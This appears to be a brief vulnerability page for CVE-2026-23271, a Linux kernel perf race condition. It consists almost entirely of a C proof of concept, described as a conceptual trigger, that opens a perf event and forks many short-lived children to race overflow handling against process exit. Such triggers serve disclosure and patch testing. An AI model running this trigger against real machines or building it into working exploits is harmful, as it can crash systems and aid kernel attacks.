CVE-2026-23271 Linux内核perf子系统竞争条件漏洞

/* * PoC for CVE-2026-23271 * This is a conceptual trigger to demonstrate the race condition. * It attempts to trigger the overflow while exiting context. */ #include <linux/perf_event.h> #include <sys/syscall.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); } int main() { struct perf_event_attr pe; int fd; memset(&pe, 0, sizeof(struct perf_event_attr)); pe.type = PERF_TYPE_SOFTWARE; pe.size = sizeof(struct perf_event_attr); pe.config = PERF_COUNT_SW_TASK_CLOCK; // High frequency to trigger overflow faster pe.sample_freq = 1000; pe.disabled = 0; pe.enable_on_exec = 0; fd = perf_event_open(&pe, 0, -1, -1, 0); if (fd == -1) { perror("perf_event_open"); exit(EXIT_FAILURE); } printf("Triggering race condition (CVE-2026-23271)..."); fflush(stdout); // Fork threads to increase contention between overflow and exit for (int i = 0; i < 100; i++) { if (fork() == 0) { // Child process: busy wait to generate events and exit volatile int x = 0; while(x < 100000) x++; _exit(0); } } close(fd); return 0; }